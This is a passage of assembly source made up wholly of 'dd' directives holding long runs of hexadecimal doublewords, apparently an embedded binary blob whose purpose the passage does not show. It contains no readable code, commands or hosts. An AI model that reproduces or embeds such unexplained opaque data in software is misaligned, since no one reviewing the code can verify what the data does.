3D902055h, 640C9736h, 0D82D1069h dd 135940C6h, 2170F50Eh, 91748CC8h, 3C2F37BEh, 0D2408FD9h dd 0EF507C9Eh, 0E8BCC831h, 6801E529h, 7BE28010h, 0B4AC823Ah dd 7B8577B8h, 4241C0A5h, 0E131B1E7h, 3B557C18h, 0CFBE91h dd 2369E05Ah, 3A46BD72h, 67279800h, 0DF6B1CA2h, 450B16B8h dd 0C01D1F25h, 0C12C9B6Dh, 1F1D0790h, 0F2243949h, 0B164C500h dd 0C73BF94h, 4BA65D50h, 21C0CA08h, 0C7B15CFAh, 0B7390010h dd 4E2FEAC8h, 0E0776452h, 1E502164h, 0C3B16560h, 117BBF23h dd 0FB3DCBh, 54D128B1h, 0C03CEB45h, 29C8A619h, 1B000D6Eh dd 8FFF4F1h, 1256B2Ch, 63DE4B7Ch, 80895FCDh, 0F558E030h dd 21C95Ah, 61700B6Eh, 0D0CF9025h, 0E4A03860h, 0AF6643h dd 80063C87h, 0B78A8E96h, 20CA1C30h, 7B1EA961h, 8820A704h dd 0C1C0D255h, 0E44EFA9h, 0F661EA39h, 540739D8h, 179983Dh dd 0BDAA5CBh, 8989DF3h, 9033215Ch, 0D4793Fh, 0CAEB3AB0h dd 0DE098FCCh, 6C75EE0h, 10162BE4h, 9C939B00h, 0A9B96FCBh dd 2A3A7C09h, 0F8B063F0h, 7AB00361h, 0CDF575E0h, 0D811AAD3h dd 341DC48Ch, 6B79318Bh, 2C39833Fh, 0E22D0864h, 5E166127h dd 520020BEh, 0DCC6066Ch, 291F9176h, 4159F6Bh, 0B15F80E8h dd 8C4BBF99h, 48E5C944h, 35014F57h, 766284BEh, 1E8FF072h dd 25200B61h, 80DC1A27h, 197DE090h, 830883Ah, 4921801Bh dd 6DDC1E02h, 4EE213BBh, 0B9A0038Dh, 200A7304h, 28907471h dd 8F771B47h, 0A86708A4h, 0C003488Eh, 1AA80960h, 81C60735h dd 2E5EEEE0h, 0CF172180h, 0C0CE26A4h, 6C5D85C7h, 84818820h dd 0E81501CAh, 0E0702BAAh, 4D0898FAh, 0E8CAB21h, 278EA4CAh dd 0DE73BB62h, 0A7CB5940h, 5F707F14h, 0BDF00AB0h, 5E113039h dd 14CA8580h, 448CA2E8h, 8D00AA4Ch, 9CBC4DCAh, 0AD53C88h dd 0BACF1686h, 80599158h, 0E819CA80h, 5B448C8Ah, 0CA88019Fh dd 0F0564092h, 2A0C2441h, 4DF1400h, 0C8484B80h, 6CEC00D5h dd 6D85DA57h, 0B412F970h, 24219035h, 81BCE645h, 0FC878E02h dd 0A4841D5Fh, 3F74986h, 249C75E6h, 1EDCFCB8h, 0C0DC8CB2h dd 0EA07A639h, 5AA5E6ECh, 3380DF2h, 21003048h, 0CF7C982Ch dd 1C26EF68h, 7EB6ED01h, 0E080276h, 5CA14BE6h, 0CF940060h dd 32BF110Ah, 5A11884Eh, 18CA429Ch, 543182E8h, 0CA899E10h dd 3066B803h, 98A8E642h, 1D0B2229h, 40EDD825h, 21CEFE8Fh dd 31358B35h, 0F808385Fh, 7996C088h, 9546CB63h, 31005822h dd 0FE7B798Eh, 49722Bh, 6C4CA57Dh, 932FE6EEh, 4434DF26h dd 6D244CA8h, 0CF8A1C37h, 467EF4C3h, 40340756h, 6A0012DCh dd 13517F79h, 0F36CFE4h, 4E00A62Ch, 0FA66E3CBh, 1921B090h dd 8E8C1172h, 9083E217h, 0D847E8h, 0A81E1F4Ch, 6B60F416h dd 0C4B3E681h, 6DD0A041h, 427912F3h, 56000468h, 2C081208h dd 0B160C003h, 5346BF98h, 0E600C122h, 405B158h, 3E1D68h dd 1B0B5FF1h, 0AA6A8886h, 15CEA200h, 0C75D65CBh, 0B6E0D0C0h dd 0FE8C350Ah, 74D4A4C4h, 0F004046h, 0BCBFC7BDh, 0F090877Ah dd 0AE741C90h, 60217432h, 8603240Eh, 5F00B19Fh, 68A7B084h dd 1FDFD7h, 0C2939D99h, 312A95AFh, 1A141179h, 0D3888D48h dd 0CF239C2Eh, 0A9482000h, 0B7BD3DAh, 67DCCB24h, 8631C20h dd 0A3016073h, 0A64D79C2h, 0EC37C724h, 0C0B8FC4Ch, 0F89A038Ch dd 0E2E35A0Dh, 0F06050AAh, 82009B89h, 0DCE569A7h, 49F01766h dd 2C005CF3h, 526C3FA6h, 18923DBAh, 68C79009h, 0E17801C8h dd 22CF0CAEh, 30082D20h, 0C3784BFh, 33813E49h, 2A6E7500h dd 80E214F3h, 539C1327h, 48B85882h, 6490010Eh, 0B849B562h dd 3FC460C8h, 345C0AC5h, 89D4118Ch, 802E1AC9h, 1D3EE0B4h dd 5DF8EC48h, 0CD7FE8Ch, 5FF03EBEh, 0F700CF19h, 7D2C42E3h dd 7E00D16h, 0D26C8195h, 27C300DAh, 24FB9B4Bh, 75201224h dd 1441447Ch, 9379E601h, 4E1FC08Ah, 4B5DD187h, 34B5E4h dd 0B43284F0h, 22286CC1h, 744A014h, 0C0131C67h, 918F4387h dd 8FE4331Fh, 0C02088ECh, 9FC97CDAh, 0BB90E80Fh, 0F7461F7Eh dd 5C7127F9h, 652120B5h, 410DBD0Ch, 76027857h, 911C17D6h dd 0E1961886h, 0BB005D29h, 0BE2CBC31h, 0EAF9BFCh, 0C64F68C4h dd 8F0462E0h, 450C59F6h, 85F8070h, 5917601Eh, 0C24884A4h dd 0F5209D00h, 0CC2978ECh, 6F710CBAh, 0C07085A5h, 0B794B602h dd 0E034E690h, 0E2B3E0h, 0BF3C840Eh, 7E9C8C50h, 23DC710Ah dd 0D001A81Eh, 3848B2D6h, 0FE114DC4h, 5D8D0E8Bh, 0E4C17CFEh dd 8330466Bh, 39C79440h, 86580FFBh, 5CC18B75h, 631CAC28h dd 3057A240h, 6F05534Ch, 0E4EDBCF0h, 8C7AD43Ah, 0D7CC4401h dd 4802B1CFh, 43E45864h, 305CE261h, 30002E7Fh, 0FA44D79Bh dd 24BF950Eh, 8CCF5B3h, 24A439F9h, 66801D11h, 83BFC2B1h dd 0FC581094h, 55B1075Eh, 85E9EE24h, 944C208Ah, 0CB236579h dd 15A11C5h, 62798C0Fh, 77F4EB89h, 296DF2B8h, 0D1BC33D2h dd 0C01859h, 8CFFB1D6h, 5DE543E6h, 80D58B0h, 0E832B8B7h dd 0AD7266F0h, 20F0C0C8h, 0B904A9EFh, 0DD600AC4h, 3FAC8C81h dd 20C83C2Dh, 0BBC7B102h, 0E8A4A75Eh, 0E8265C62h, 401CD770h dd 93B625Bh, 8072CB63h, 38BC055Ah, 5846CB20h, 54BC745Ch dd 703B778Ch, 530800C9h, 5BD64AEBh, 0CB379CB0h, 0C7E9E04Dh dd 60CD4400h, 79F713C7h dd 0F5B000C6h, 0D9A7C112h, 0BC05D2DCh, 0EE5EE62h, 0C79AC408h dd 90857115h, 891D18F8h, 0EE40D64Eh, 0FA0B02C5h, 270AFD7h dd 739610h, 39F4B730h, 3CE4C4A2h, 0B3B9AA00h, 0DAB2B0E3h dd 950EA91h, 258BF4F1h, 0F01640C0h, 0E88C5354h, 5ABCB314h dd 11307BB4h, 22451860h, 0C9980109h, 7F91F643h, 28C42D1h dd 97B19033h, 2C5B4EBFh, 5904E7B4h, 0F0AF1DB1h, 0D230BCA5h dd 63AB0B51h, 948E2652h, 1B00B1AEh, 9E929C8Fh, 0C7B99601h dd 0AA75227h, 0BD168450h, 0FB1001Ah, 2F44D5B5h, 4FF0CBFCh dd 7D7C7848h, 9ED4405Ch, 4406EC43h, 3841F4DDh, 608A0B9Ch dd 4E676BB4h, 3893CF9h, 91447ED2h, 0CCC8AEF9h, 22A00B4h dd 8FD8D076h, 200BF1AAh, 19C6163Fh, 1008B410h, 0D318BF14h dd 572300C0h, 0A68624E8h, 686B5840h, 0D4C22Ah, 0E7E67C92h dd 6FECCB08h, 38C41A50h, 6744CF73h, 1ECDF6B8h, 40757049h dd 682DE722h, 21DF6A6Bh, 0DB80817Dh, 294EF90Ch, 80219470h dd 0A8C46286h, 308B713Bh, 9EC01BC8h, 60ECB790h, 0EFE0C8D9h dd 0B1F60997h, 98CF1613h, 4C882C8Fh, 0E80053CEh, 94E4C6E1h dd 0A5B0CF56h, 0C0B28A09h, 0F058B873h, 298006FEh, 581943F4h dd 0CAE92402h, 0A813E3ECh, 4674888Ch, 7E06031Fh, 0F8DE7B2Fh dd 9ECD5CD7h, 0A56305A0h, 0C1A0890Dh, 0AAF900FFh, 60C2028Ah dd 6A878CE8h, 12292460h, 71F16700h, 8BD73D70h, 0C7D05DEh dd 812CAC0Bh, 62FDD444h, 0AC510ECh, 0DE853201h, 0FE610D1Fh dd 62E92A61h, 305FF27Ch, 0D8A1B401h, 883185Ch, 92E816CAh dd 9C4058C4h, 0F3DECA8Bh, 53CD4009h, 0D46083A4h, 0C975B824h dd 94B31E1Eh, 0DD3CB6Ch, 62F7C804h, 0CB6CC097h, 4CA58Dh dd 0F2798F32h, 6413CBA4h, 3C04F516h, 71094D1Ch, 51CFB0E5h dd 0F4A66887h, 8D9380DEh, 295063DCh, 73484DFCh, 0C001882Ch dd 0BF96B162h, 0C2226346h, 0B15AF81Ch, 4734A780h, 121548Fh dd 0BA6AFEF3h, 94D1C184h, 3AF052BEh, 1643F14h, 8D7DC012h dd 64F25037h, 0C907020Ch, 33C69C3Ah, 0EBDDC40h, 0EA205465h dd 0E348E86Eh, 0E14B620Bh, 4CEF9823h, 9CA4213Fh, 0E31FFC1Fh dd 34B792C5h, 1296F8A0h, 171E7A6h, 0BCDE0604h, 1E08723Ah dd 50007FF3h, 8A76271Bh, 0A4310006h, 0C249F12h, 0B63A96EFh dd 3B9280D3h, 17BB9715h, 0B07A55h, 0B21B59A0h, 0D2E97DB1h dd 0DA49D400h, 74C2AF14h, 4ED6019Fh, 2E3E1A68h, 2F82F405h dd 1D894F00h, 14CBC6EAh, 79907274h, 0C86D0F6Ah, 0E4E13791h dd 0C872EB76h, 99002C36h, 1A1D56F7h, 3CD631h, 1BF6F2CFh dd 254A8B91h, 0F9E55807h, 0CB860881h, 92960036h, 0D8A4BA9Ah dd 9CFE07B2h, 2FAA2700h, 62FA906Fh, 779F005Dh, 0BCC95B30h dd 3101D9CCh, 0B27BD4FFh, 29F02FB4h, 0F6CD7C59h, 0C48C338Bh dd 64E8A418h, 3F0EE8A7h, 99AC09h, 5E029116h, 0C5E01E65h dd 0A40ACFBFh, 2A2007CFh, 0AB5CD86Bh, 35BDB200h, 64CD336Ah dd 31EF001Ch, 0DCBE3EAEh, 5B182E5Dh, 8689B559h, 3E4A78F6h dd 37800B64h, 8477FB1Dh, 0AE002699h, 0D5BA705h, 1A82711h dd 0A98C32F1h, 81B13BC1h, 8261EF1h, 0FDD05938h, 0DD3D0E49h dd 9120397Ch, 25BEDAB8h, 19C0157Bh, 5D743A12h, 26F493h dd 0A3376AEDh, 0B731E311h, 4288D855h, 88815336h, 0BAA55499h dd 0C5100E18h, 23A44014h, 1878E4EDh, 409744FFh, 4700410Ah dd 0CEE3E39h, 232B68h, 425633A4h, 0FA91597Eh, 93F90300h dd 9B089F09h, 0E4A005Fh, 30AC35FFh, 3E1F6A4Fh, 3D419E48h dd 54435141h, 241BD0h, 91C9680Fh, 4B30940h, 51DCC503h dd 6D07F3h, 0D6C08618h, 505F6916h, 0DFB38A03h, 0C01749CBh dd 600BECCCh, 923D284Eh, 3F6040DAh, 1AAF1B60h, 30BC3BA5h dd 1624D280h, 4D91B225h, 544B4200h, 0FF5B4909h, 9A30C345h dd 28214053h, 0CCE80066h, 5B484AB3h, 0EF3D0A0Eh, 6478D858h dd 0DD0D1ADAh, 1C18D177h, 19DD9C89h, 0C0870BC0h, 0E4675F90h dd 0AF1C3901h, 3E504C50h, 0C0E11ED3h, 905280B0h, 50B81CB8h dd 0E63E88h, 53450873h, 6CB71A0Bh, 0D3DB9C0Ch, 3D205Dh dd 7D1BA801h, 1F24C041h, 618538C0h, 482CE5ACh, 0B1608936h dd 3A88959Ch, 6AFDD102h, 60085FE6h, 31120D2Bh, 8C5165F9h dd 4108804Dh, 0DE4C8238h, 180CF850h, 18856BEAh, 0F500A2D5h dd 953AAFBh, 3024C181h, 897840C8h, 0D02F084h, 0E528FC5Dh dd 0ECA0822Eh, 0E8862014h, 98A15CD6h, 3FBA30F9h, 0CDBA1901h dd 6AA58782h, 1D381C4h, 5F5AA9B1h, 0BD5CC00Dh, 59F48A79h dd 0B5112428h, 0B1F6C401h, 0D7195B8Bh, 0B0C1ACA7h, 0F2A84D00h dd 9E77152Ch, 0D71B0242h, 2FF0D6D1h, 0DE23B0A0h, 0AF060BDCh dd 4F270EC3h, 0DF1F1D18h, 30B28356h, 640FCE96h, 0FACFDBh dd 0D622574Eh, 3198A864h, 42F3001Ch, 9E5AE415h, 5618ECA0h dd 0ED2191D6h, 0AB21007Bh, 70B11D05h, 5F74A9A8h, 1133601h dd 86F1E243h, 0C5EC840h, 9B9700B3h, 0CE5F16A6h, 4F00A0E5h dd 0E889B683h, 0C3174CB0h, 0B7071B19h, 0C68DBBB0h, 2F94F700h dd 912E1AF1h, 0C49F49CFh, 0E983D151h, 97861BEDh, 7875D7D8h dd 0C9CA4C51h, 358020FEh, 11FF3D00h, 86DCDAC1h, 559CB087h dd 2C42A44Fh, 13F0A0E9h, 0C0A75810h, 47E0BFA0h, 6805DC84h dd 0CA885BA0h, 724BBF80h, 0D6F2006Eh, 0B782C2FCh, 9A66CB56h dd 0B0214408h, 0ED60E59h, 0EC20A4B5h, 0A3C65EEh, 0BCC27400h dd 143749B8h, 607DF8EFh, 971C184Ah, 0CE806AD0h, 4B5A00ACh dd 0A878F748h, 6D36C932h, 3A61283Bh, 0F10C754Eh, 6F11B025h dd 9021710Eh, 4A76A0C2h, 0E87557DAh, 0F021C085h, 0BEBA2186h dd 0DC112003h, 0B9EC979Eh, 5889B445h, 0E88C6754h, 4F064C80h dd 4E6EB3BDh, 90121C70h, 99EF4070h, 89D71637h, 21BB08CCh dd 987FB4h, 0E64D3C2h, 59660F25h, 15389A05h, 0A048F38Bh dd 0D6C7C07Bh, 9A46C2FFh, 8E795322h, 6A2AD607h, 0DF001A96h dd 3154FE0Eh, 0A9585BA1h, 4EC50156h, 431BE8h, 0D00F5FABh dd 0FD2B456Fh, 4C7EEA00h, 75D8A381h, 1E359035h, 0D7E3C7h dd 0ECFA30CEh, 7F00829Eh, 0D2972A86h, 7313ABh, 0F6AE5004h dd 300DFE46h, 0B0E28E00h, 3E076467h, 56B80040h, 60CEF1D7h dd 0BC00AEE6h, 94BE616Fh, 0F8C4926h, 0C90D304Ch, 5EDE0AC0h dd 2700DDF1h, 2FFFBE2h, 0CDD7F2h, 0BE73EB13h, 0D6F4F3FAh dd 0C59D190Bh, 397F8075h, 673C51h, 62846388h, 1D9C21F2h dd 0D4B2CB51h, 4F002CEAh, 0E0C3F5BAh, 78E55E37h, 0FF4A0139h dd 6F8D23AAh, 5189FD7h, 1672B841h, 6EF0358Bh, 9A118689h dd 9521889Dh, 42A2CA88h, 0BA133631h, 103D11AAh, 40EAE16Dh dd 7410439Eh, 0E006396Ch, 0A0F2BD14h, 162D93Ch, 65F86A89h dd 20875DB0h, 0A08A9BAEh, 166E8CF5h, 0FA6381C3h, 1F39A625h dd 8736D780h, 804B66F8h, 46393FF3h, 0B87CE8F0h, 0B94870C8h dd 14DE70AEh, 4D3C0843h, 174B6D11h, 511E04B6h, 9066D7C0h dd 0A40A1D3Ah, 0C1570894h, 0E60AB5AFh, 481ACF0h, 781D9E4Dh dd 0C1AB14E4h, 0F5DB9DD1h, 5659BC69h, 0A0CFF04h, 0C8104F4Eh dd 17F49B00h, 0FE7F14D9h, 763A26A5h, 585C000Dh, 28D23D0Bh dd 3BC8040Ch, 845B29C7h, 107AE122h, 21292691h, 22271C2Dh dd 2216BE22h, 7F222855h, 2E322CCh, 5067A322h, 447328A9h dd 0C9884FA0h, 2D0F664h, 0E408D4D2h, 1DC0760Eh, 820090A1h dd 9D32DD25h, 24DECB4Dh dd 0BBE794h, 299CFA2Ch, 0B0019CFh, 143D1EC0h, 3AFA935h dd 1F5F4168h, 7E02EAAh, 0D00D5ACh, 0E1C96A2Fh, 0D740AEh dd 7B481891h, 718EC298h, 34459E00h, 7C7009B5h, 0D730014h dd 749549Fh, 0F91EF8ABh, 0A18ED46Fh, 4F38C06Bh, 90C4AA3Fh dd 49871C40h, 34CE4019h, 5F8AD22h, 37B12403h, 884A7B2Dh dd 0B0AB9D4Ch, 0B04F0015h, 1EA18390h, 0E3503CA2h, 10FE2EE0h dd 578F7B0Fh, 259E05Bh, 6085AFFBh, 3C89804Ah, 0CB1C2BBBh dd 3C2D6Ah, 0E4A455EEh, 0AC7F99h, 81B48E6Fh, 0AA3D9E17h dd 45DE9D00h, 0CC8E5ECh, 4D602429h, 0AE1C80FCh, 6BE81050h dd 0B074DF00h, 5761C778h, 0D7AD003Dh, 5DE38E44h, 960ED024h dd 20381CCDh, 68BE0210h, 0FFEAC9h, 0FAE06D63h, 0BF85BA34h dd 0E50036E4h, 114C94A3h, 0CD4ED4h, 0CC6EF1EAh, 0B968A8AEh dd 0F500BCE6h, 0DD9E428Ah, 0E00B8B1Ah, 0C52282Eh, 0E4C600C4h dd 97D2BAEh, 7400D4D8h, 0EADDF5FDh, 10771A6h, 26E3A424h dd 803F7C78h, 0EF4B08BAh, 905FA2h, 0C664C511h, 9996695Ch dd 0C9240400h, 0A8A4B44Eh, 0B6940008h, 7DABD941h, 0FE001164h dd 0A628E7D7h, 1F0D89CCh, 46245Fh, 0AAF60674h, 1E00711Fh dd 0ED4AD833h, 13B7FAA7h, 40F40441h, 676F0348h, 0BF00AACDh dd 93E758Bh, 0E6B9C496h, 4CF4EDBCh, 0F3E60EC6h, 0F1600877h dd 92620E31h, 0C238E400h, 0FD5E2948h, 0A5D400E2h, 0E3B95D36h dd 4A008928h, 9255D34Bh, 76DDFD9h, 0B73ADEECh, 8BA221B2h dd 4AD170B1h, 41897900h, 0BEAB9E92h, 0F1C70003h, 342B12ECh dd 0CE14C199h, 79C2EA1h, 0A8D21168h, 0A73EA6D0h, 0EE9B03F1h dd 74BD3CD4h, 95D697D0h, 4F555909h, 9C4C078Bh, 0EEE48E20h dd 7D67043Bh, 904B547Eh, 50AAE120h, 0A564431Dh, 356BDC00h dd 49FE92E9h, 52071C63h, 0BEC13BA7h, 0C6620540h, 0E400F0BFh dd 1A029704h, 0A6DC59h, 93D494BAh, 78DBFD0Fh, 8E565E3Fh dd 0C4CD80FAh, 648024C8h, 0EC9CB7BAh, 11340031h, 860C4B55h dd 91008981h, 830564ABh, 30DDE6Eh, 4CFDE23Ah, 68B9A1FBh dd 8623F8F7h, 1770B10Fh, 50A6A084h, 2485C4B2h, 22CF44Dh dd 99618C05h, 24B000E0h, 40895700h, 51ABDBAAh, 6AEB0053h dd 0DC054592h, 4E00B5CAh, 33F7B62Ah, 1590C47h, 691AE03Fh dd 0DCAED011h, 0EB0E7CA2h, 2A2528EEh, 0B7019832h, 0E0487FA8h dd 0C4B940D6h, 57F200D7h, 7A7B9388h, 0C203097Eh, 0DEFB4812h dd 473BD844h, 0E354E2F2h, 768CF0h, 8B23F65Ah, 0D5AF9C62h dd 240AE707h, 0D4501D09h, 24C4A426h, 0E573A40h, 0D94F4605h dd 9CC2819Dh, 0DF1BD074h, 2080E3C1h, 7805D34Dh, 0EDB5C961h dd 0B2D8E7C0h, 0A74200E9h, 0C44E6270h, 0A44C5CEAh, 63EB1FBFh dd 8604499Dh, 0AC80D012h, 1F20720h, 0AEC9CF88h, 0CCA4C716h dd 210135CCh, 20593D92h, 0E04194F8h, 22C4E753h, 1A0712Fh dd 1EA67EE3h, 0D097BFC4h, 60B2EC25h, 0F401D0Bh, 7DE00055h dd 0D8B24Ah, 0EEEA18D5h, 6F4D6B56h, 27C224Ch, 1629F39Bh dd 25A96012h, 0A2FA12C2h, 46840008h, 71B4BC7Eh, 0CE936D00h dd 3F615BAFh, 4F760004h, 703DC138h, 0E37D0A4Bh, 0DAAA700h dd 16D74365h, 1A2E8EFh, 0FDC51FEAh, 0FCEB1873h, 0F4A67997h dd 0A1CD1400h, 2AE80CB4h, 1DF0000Fh, 6E5518D4h, 2900D5D1h dd 9316D0D8h, 9824CB7h, 0A8474699h, 0B4FAE500h, 0AF00F42Eh dd 92B057B1h, 732593EBh, 33690034h, 59CCE93Eh, 0A10039ACh dd 0A724AF6Ah, 0F300781h, 7DBA8F10h, 0C849E5h, 0FBC36A86h dd 82385553h, 0D5F0800Ah, 417D4A39h, 79F60087h, 8AF71C73h dd 0BE0CD82h, 47367800h, 0E14ED003h, 0F2F90E7Eh, 1889A543h dd 4100FFF0h, 0EF560B0Eh, 0FF4E553h, 83797AB7h, 9B606100h dd 1A0035A2h, 9C275F51h, 0E242085h, 37A44922h, 1EBDAEA0h dd 0EB00797Fh, 0ED668887h, 1C08521h, 0BFD2985Fh, 0FED57AE4h dd 4AE3F880h, 8B01ECC8h, 2118EA9Ah, 0BFEFF5E9h, 0AF1F1C90h dd 87200319h, 136632D2h, 26F24A0h, 99A78500h, 0BB0929E2h dd 0A1C03D1Fh, 0A64ADA9Ch, 2A8900E8h, 0B7AD4EA9h, 803F913Bh dd 7B2C6B38h, 64B181h, 0B62B802Fh, 5AD0216Ah, 4B013890h dd 6836B8FDh, 8EF47CEDh, 0F69DF4Eh, 5EC85C2Ah, 0D5314100h dd 5F57C1h, 0CC7E6AEFh, 0D2800A91h, 0AD624702h, 402C1FDAh dd 0EA595FEh, 741544ABh, 41B83096h, 0E700A060h, 6EE44394h dd 3D4403EAh, 1277BCC3h, 77F732Ch, 694C9Ch, 7A1A80E4h dd 2990DF00h, 0CE2AF8BDh, 0C9860016h, 5B35D36Ah, 23009240h dd 0C82D7D2Ch, 5878BFEh, 0F68C57C0h, 0F9E50050h, 1798976Dh dd 0A966A800h, 0B96BE7FDh, 55030049h, 972D5F21h, 900E4007h dd 400A26CBh, 0B1F323C2h, 0C1DE1FBAh, 76744BEh, 31568103h dd 0B79C405Bh, 96005244h, 0B637B0C5h, 0F5191EAh, 594F4EFh dd 9D760260h, 6F03BDDDh, 0BEB8F0F3h, 0C0DA9A58h, 0EBD96Ch dd 88E2245h, 8215FA53h, 9CC28D28h, 901E7808h, 40E940AAh dd 6C031DE3h, 7C164AE7h, 0DA46B0A6h, 2D1000F0h, 4C0B5FFh dd 62C98ABh, 9700988Fh, 0A9D1AE9Eh, 8ED63EA1h, 0D05EBC0Ch dd 0F478C710h, 51404509h, 0EA0B1Bh, 1CAE6352h, 55AB0298h dd 8572826h, 0B49AB460h, 1F00697Ah, 5E65A5AAh, 12B143ECh dd 1F1E96F7h, 0C0E7DF5Ch, 171C8529h, 0DA00D193h, 0ADCAD88Ah dd 0FF2AD32Fh, 265E5880h, 3699B764h, 7A2E6302h, 40C5F0A9h dd 0E38B5Ch, 8077D11Fh, 0D26A578Eh, 0D4DAEB00h, 0F6BDD85Ch dd 0BB96001Bh, 7B4487A5h, 0FAF08B15h, 0E907A098h, 7330B745h dd 2F43EB30h, 61C30054h, 85E57042h, 7D0F1279h, 61FFE6ADh dd 78670448h, 8F970h, 9E2B76ACh, 14B49DFEh, 50F8906h, 7CF050DFh dd 0AD67000Eh, 0C94D0DD5h, 0ED00C7C2h, 44951793h, 391C0410h dd 4683236Dh, 9F8AF0F5h, 0B6824F90h, 0DA1F2FEAh, 0EBC03248h dd 0F5319591h, 43B80139h, 1556FABFh, 6A3EC449h, 0CEF3526h dd 0AE536B07h, 78DC2099h, 7D406BAh, 0A1954E27h, 11A35144h dd 3F3D207Dh, 38F75Ch, 22770821h, 90BFD850h, 1F2B0020h dd 0E7BB54EFh, 0E307EE06h, 0DC5B139Ch, 0C8396823h, 0E010DEB3h dd 9F3448DAh, 19801F3Fh, 9D5D3EDFh, 18C0DB5Ch, 0AC9478D0h dd 4BA05B2h, 3BE32B9h, 0A44CF2C4h, 0CEE06E88h, 0C412744Bh dd 0F680C01Dh, 0A2EA1AC3h, 0B9300049h, 8E5DB837h, 99008103h dd 481979ACh, 0E8AAF07Bh, 0B5380033h, 0BB3EE9EEh, 49005395h dd 0A484889Bh, 1099FD5h, 5CC76780h, 43C4286Ah, 0C1A7D4C8h dd 0CDE2CA83h, 0F0438ECh, 0D2EA1933h, 69400807h, 9B616547h dd 0C72BF217h, 0C8DA4022h, 800A7EDh, 8D933D56h, 62526BF8h dd 1937C06Eh, 0F9CC1C80h, 43B8EBB4h, 0F83D9613h, 0DB8E711Dh dd 209DEFB7h, 99724844h, 0A7891CF7h, 0D42840F3h, 9656BF16h dd 3F2CDEF6h, 861521DCh, 30722190h, 0AB074FFCh, 4DB25900h dd 0BB9F4E01h, 0BD2E0325h, 110F44DDh, 204518F1h, 0DA5F8110h dd 210AA2B8h, 858E409h, 0A2006677h, 4703C5E1h, 2171017Bh dd 4F1B09F1h, 931C2417h, 7D907217h, 0BB791600h, 146DAE3Dh dd 0A03B4326h, 8A168581h, 94501303h, 59578A0h, 79714E87h dd 2EF0320Bh, 0C6914CE0h, 0B23F85F4h, 189E804Bh, 26F825DDh dd 6B59380Fh, 0FFDBE580h, 0DC7945A9h, 0B1A72A00h, 1283AD8Dh dd 8A60C738h, 0F3C900Bh, 1B4B735Ah, 0F422F800h, 24B135F8h dd 373D2CA6h dd 27238119h, 2BD9801Fh, 37F6581Ah, 0C3B70098h, 206D160Dh dd 9C00A97Eh, 51DB2823h, 0E9526Ch, 0A6A7585Dh, 473ADD93h dd 4A0054E2h, 995C7F79h, 42A2237h, 0FB179A86h, 2D348CC3h dd 8BE20500h, 193667ADh, 0A8654BE1h, 96F63896h, 0C902D02h dd 1C6103Bh, 0C9CC25E8h, 4DA4A029h, 0C320FED0h, 72F57C2Ah dd 0BD6F09D7h, 0E4202239h, 0B6C8E53h, 0E6D0E017h, 8C85EE00h dd 780A4417h, 15D900A9h, 0D305E9FFh, 0A004E61Eh, 2ABE5CC8h dd 19371CA0h, 91E45231h, 0A2062DEh, 984FA3F5h, 81DF5F00h dd 2A871C71h, 1E80C45h, 183379CAh, 0F9255441h, 11D0200Fh dd 4D405C18h, 95F6C38h, 7D0E1016h, 0FD414800h, 1D043A9Eh dd 43AB4011h, 0CCAD931Fh, 8001CA34h, 9E2EFFBBh, 0A2C46CECh dd 0F028073Ch, 52250BC2h, 2D6074BDh, 4E00891Fh, 4690F650h dd 1E8784h, 0AFBEFD09h, 0F285321h, 1D4AAB3Fh, 686691DFh dd 90CC4300h, 271FB272h, 248031B6h, 664CE7EAh, 67A0F00h dd 0D8240752h, 7ED9F649h, 9E031CE8h, 0FF01FCABh, 24581471h dd 2389C027h, 62599600h, 870926Ah, 767B02EAh, 72B54F7Ah dd 0B8D44440h, 0D0C4B4A9h, 7800EC01h, 0FAAD2404h, 0BC0E812h dd 1351295Dh, 45911813h, 7DB43C94h, 50F82414h, 80B43DA8h dd 0E547A733h, 0A80C3Fh, 0E40A5348h, 1076BCA2h, 4A706600h dd 179496A9h, 0FCB41B2Ah, 0FA984820h, 4B9821A4h, 6C47FB00h dd 8DC95CB5h, 0A22C07E8h, 80CE0363h, 6DCFAD2h, 99E72402h dd 0C097F1C8h, 49F9C70h, 186A6F3Ch, 2945C0F0h, 40B21205h dd 73004390h, 97761661h, 0B53A99h, 82E608A2h, 988912C8h dd 0A11AD005h, 70D404BBh, 73ACB0h, 0D5B50640h, 60CE1169h dd 0D96AAF05h, 0F080FB63h, 3D75586h, 3DAEB7BAh, 93ABA443h dd 98C53CB8h, 0ABA7CD00h, 0E91ACC50h, 731F474h, 0FE2C398Fh dd 19D4008Ah, 7971AB05h, 0EC009E90h, 43590662h, 3D04CBh dd 0D7E3CD1h, 72B1A814h, 4878DA90h, 0E50F5400h, 3D8F9675h dd 8D5D00AAh, 0D697EE6Dh, 1D0EC3D4h, 402CFB3Ah, 0BFEB3E56h dd 28AAF28Eh, 0C11E38h, 7259A4B2h, 6C3FC81Bh, 32D4C900h dd 84D56678h, 0BA333FA7h, 39FBC181h, 70908044h, 6826ACB0h dd 0BF01CFEBh, 5CE19C7h, 1C0C760h, 7FCFD77Ch, 0F4C41348h dd 661C5B3Bh, 0A44E6DF7h, 0E86E00A8h, 0FA9524h, 0CCBAADD4h dd 0F67A2508h, 2E1820EAh, 7BF6B778h, 3F47449h, 1CED6BC8h dd 0A0C81A42h, 0EB003036h, 75D5A7C1h, 0EFECAACh, 0D86158CFh dd 0DC8BCA0h, 0F92A7F52h, 0BD02C4CDh, 4BECE073h, 7C6F610Ch dd 59C49070h, 0A50B5C70h, 5820FF26h, 0AB7CD4Bh, 8A8DD4E7h dd 43732F01h, 72879D37h, 161E4D0h, 85132A7Bh, 408AC7C8h dd 8CB5BE88h, 80017C00h, 0DE47ED74h, 0FC503DE8h, 830AC43Fh dd 0F01B14h, 0A15F63EEh, 3600795Eh, 0AC0E51ADh, 0CCEC2Ah dd 0B269CA6Ah, 4056E3D1h, 9298CD18h, 0B0EA99h, 64161749h dd 2CA1B969h, 63AAFA00h, 0EEE32FCDh, 0C66C0546h, 0D0235899h dd 8088A740h, 0DC106898h, 9D00A4F9h, 6AADFDC7h, 4C0047CCh dd 60A196D4h, 4889D0C8h, 0AB3C60A5h, 0BD914300h, 6EA81B92h dd 733F1D73h, 0B2A980B5h, 2405E22Eh, 26A990C9h, 301368h dd 0E950BF4Dh, 0F460063Ch, 0B3C40120h, 35D1001Bh, 0ADF01765h dd 1500AE3Ah, 71A7A828h, 362EE7h, 76A0AFC4h, 95084EBDh dd 0FBCC6354h, 1401494Fh, 417E2321h, 99D2464h, 0EFCDA92Ch dd 98EE80A2h, 140088D3h, 438597CFh, 8C9F484Ch, 0F70EA000h dd 0C9CA089Dh, 1EADB032h, 8EDDC02Ah, 